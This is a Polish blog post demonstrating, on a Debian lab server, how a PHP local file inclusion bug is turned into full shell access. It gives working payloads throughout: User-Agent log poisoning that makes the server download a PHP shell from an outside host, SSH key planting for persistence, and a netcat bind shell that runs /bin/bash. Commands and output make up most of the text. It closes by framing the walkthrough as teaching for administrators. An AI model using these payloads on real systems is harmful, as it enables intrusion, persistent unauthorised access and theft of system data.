W tym wpisie chciałbym pokazać przykładowy scenariusz ataku w stylu m.in. osób powiązanych z
grupą Anonymous o której tak głośno ostatnio w (polskich) mediach. Będzie to historia o tym czemu człowiek jest najsłabszym ogniwem bezpieczeństwa. Do demonstracji wykorzystam
Debian netinstall w wersji stabilnej
# cat /etc/debian_version
6.0.3
wraz z zainstalowanym jedynie
Apache oraz
PHP apache2 - Metapakiet serwera HTTP Apache
php5 - Język skryptowy osadzony w kodzie HTML i działający po stronie serwera (metapakiet)
na przykładzie bagatelizowanego (w stosunku do
Remote File Inclusion aka
RFI) błędu
Local File Inclusion aka
LFI, prosty skrypt, ponieważ nie on tutaj jest tematem
<?php include($_GET['page']); ?>
dzięki odwołaniu
http://192.168.0.200/index.php?page=../../etc/passwd
uzyskujemy wgląd do
/etc/passwd, przykładowy atak to zmiana
User Agent na kod wykonywalny (
User Agent Injection)
$ wget --user-agent="<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>" http://192.168.0.200 -O /dev/nullw tym wypadku kod odpowiada za zapisanie przykładowego
PHP shell, w logach w związku z tym zostanie odnotowany wpis
# cat /var/log/apache2/access.log | tail -1
192.168.0.100 - - [24/Jan/2012:11:32:51 +0100] "GET / HTTP/1.1" 200 248 "-" "<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>"naturalnie zależnie od dystrybucji
Linux lokalizacja logów różni się, przykładowo
Red Hat,
CentOS oraz
Fedora przechowują logi w
/var/log/httpd/. Powyższego logu nie da się załadować przy pomocy LFI
[Tue Jan 24 11:34:04 2012] [error] [client 192.168.0.100] PHP Warning: include(../../var/log/apache2/access.log): failed to open stream: Permission denied in /var/www/index.php on line 1
ponieważ logi są obsługiwane przez proces rodzica i z tego powodu Apache2 może zapisywać w logach, a procesy, które serwują stronę internetową nie mają do niego dostępu ze względu, że standardowe prawa do logów Apache2 to
# ls -la /var/log/apache2/
razem 8
drwxr-x--- 2 root adm 4096 01-24 11:24 .
drwxr-xr-x 8 root root 4096 01-24 11:24 ..
-rw-r----- 1 root adm 0 01-24 12:27 access.log
-rw-r----- 1 root adm 0 01-24 12:27 error.log
-rw-r--r-- 1 root root 0 01-24 11:24 other_vhosts_access.log
przykładowe podatne logi można znaleźć poprzez m.in. komendę
# find /var/log -perm -o+r
/var/log
/var/log/lastlog
/var/log/dpkg.log
/var/log/fsck
/var/log/news
/var/log/installer
/var/log/installer/hardware-summary
/var/log/installer/lsb-release
/var/log/installer/status
/var/log/installer/cdebconf
/var/log/pycentral.log
/var/log/aptitude
/var/log/faillog
/var/log/alternatives.log
/var/log/apt
/var/log/apt/history.log
/var/log/wtmp
/var/log/apache2/other_vhosts_access.log
gdzie w wyniku powinny nas interesować logi aplikacji do których jest zdalny dostęp. Wracając do tematu możemy przykładowo załadować plik konfiguracyjny Apache2
http://192.168.0.200/index.php?page=../../etc/apache2/apache2.conf
a dzięki czemu uzyskać informacje na temat stosowanej konfiguracji, lokalizacji logów itp. Weźmy tutaj pod uwagę przypadek gdzie został dodany
VirtualHost z własna obsługą logów zgodnie z dokumentacją
http://httpd.apache.org/docs/2.2/mod/mod_log_config.html#formats
Some commonly used log format strings are:
Common Log Format (CLF)
"%h %l %u %t \"%r\" %>s %b"
Common Log Format with Virtual Host
"%v %h %l %u %t \"%r\" %>s %b"
NCSA extended/combined log format
"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
Referer log format
"%{Referer}i -> %U"
Agent (Browser) log format
"%{User-agent}i"oraz ustawiony został dostęp do logów dla użytkownika, który standardowo nie ma dostępu do logów
# cat example
<VirtualHost *:80>
DocumentRoot /var/www/example
ServerName www.example.com
CustomLog /home/example/www/access.log "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
</VirtualHost>
# mkdir /var/www/example
# cp /var/www/index.php /var/www/example/
# a2ensite example
# mkdir -p /home/example/www/
# /etc/init.d/apache2 reloadno i tutaj niestety został popełniony duży błąd, nie zostały ustawione odpowiednie prawa (odczyt tylko dla użytkownika), znając dystrybucję poprzez wywołanie chociażby
/etc/issue.net osoba szukająca podatności uzyskuje informacje o lokalizacji plików, przykładowo zajmujemy się tutaj domeną
example.com, w Debianie prawie we wszystkich przypadkach lokalizacją pliku konfiguracyjnego będzie którąś z poniższych
/etc/apache2/sites-available/default
/etc/apache2/sites-available/default-ssl
/etc/apache2/sites-available/example
/etc/apache2/sites-available/example.com
lub po prostu główny plik konfiguracyjny, dzięki temu można poznać lokalizację logów poprzez udane załadowanie pliku konfiguracyjnego, następnie przykładowo odwołanie
$ wget --user-agent="<? system('uname -a'); ?>" http://www.example.com -O /dev/nulli wywołanie logów poprzez LFI
192.168.0.100 - - [24/Jan/2012:16:42:01 +0100] "GET / HTTP/1.1" 200 - "-" "Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686 GNU/Linux "
wracając do PHP shell
$ wget --user-agent="<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>" http://www.example.com -O /dev/nullw logach pojawi się
192.168.0.100 - - [24/Jan/2012:16:56:19 +0100] "GET / HTTP/1.1" 200 - "-" "<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>"po ich wywołaniu poprzez LFI zostanie pobrany plik i zapisany do
/tmp z prawami z jakimi działa demon Apache2
-rw-r--r-- 1 www-data www-data 100731 08-19 21:50 hauru.php
następnie pozostaje wywołanie
http://www.example.com/index.php?page=../../../tmp/hauru.php
i zostaje uzyskany dostęp do powłoki, w większości przypadków konfiguracji użytkownik z którego prawami działa demon www ma również prawa do katalogu w którym znajduje się witryna co jest bardzo zgubne ponieważ standardowo konfiguracja
SSH pozwala na autoryzację za pośrednictwem kluczy. Klucz publiczny pozwalający na zalogowanie odczytywany jest z
$HOME/.ssh/authorized_keys, zgodnie z wpisem w
/etc/passwd www-data:x:33:33:www-data:/var/www:/bin/sh
co za tym idzie w PHP shell wystarczy wywołać polecenie powłoki
mkdir /var/www/.ssh;echo "ssh-rsa [...]" > /var/www/.ssh/authorized_keys
w związku z czym powstanie
# ls -la /var/www/.ssh
razem 12
drwxr-xr-x 2 www-data www-data 4096 01-24 17:16 .
drwxr-xr-x 4 www-data www-data 4096 01-24 17:16 ..
-rw-r--r-- 1 www-data www-data 389 01-24 17:16 authorized_keys
a wtedy zostaje uzyskany dostęp do powłoki
$ ssh www-data@192.168.0.200
Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ whoami
www-data
$ uname -a
Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686 GNU/Linux
istnieje również sposób naokoło, w PHP shell po wydaniu komendy
nc -e '/bin/bash' -l -p 12345
w systemie zacznie nasłuchiwać
netcat www-data 1307 0.6 0.0 1748 500 ? S 19:13 0:00 sh -c nc -e '/bin/bash' -l -p 12345
www-data 1308 0.3 0.0 1728 628 ? S 19:13 0:00 nc -e /bin/bash -l -p 12345
wtedy pozostaje tylko połączenie na dany port (wyższy od 1024, ponieważ poniżej tylko root ma prawa)
$ nc 192.168.0.200 12345
whoami
www-data
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
po uzyskaniu dostępu do powłoki pozostaje tylko wywołanie jednego z odpowiednich dla wersji jądra lub używanego na serwerze oprogramowania
Local Root Exploit, a na sam koniec instalacja
Rootkit dzięki czemu w krótkim czasie zostają zatarte wszystkie informacje o włamaniu jak również zostaje ukryty fakt posiadania dostępu do serwera, a wszystko dzięki błędnej konfiguracji, która z pozoru wydaję się bardzo dobra i nie posiadająca żadnych błędów, a już tym bardziej bezpieczeństwa. Niestety ale równie często serwery na których leżą strony posiadają dostęp do sieci wewnętrznej, gdzie sprawa wygląda zawsze tak samo - po nitce do kłębka. Tylko znając wroga jesteśmy w stanie się przed nim bronić, z tego powodu trudno być adminem nie mając chociaż podstawowej wiedzy z zakresu bezpieczeństwa oraz ataków na usługi którymi się zarządza. Na sam koniec dodam, że nie polecam stosowania zabezpieczeń w
JavaScript, a takie przypadki też nieraz widziałem.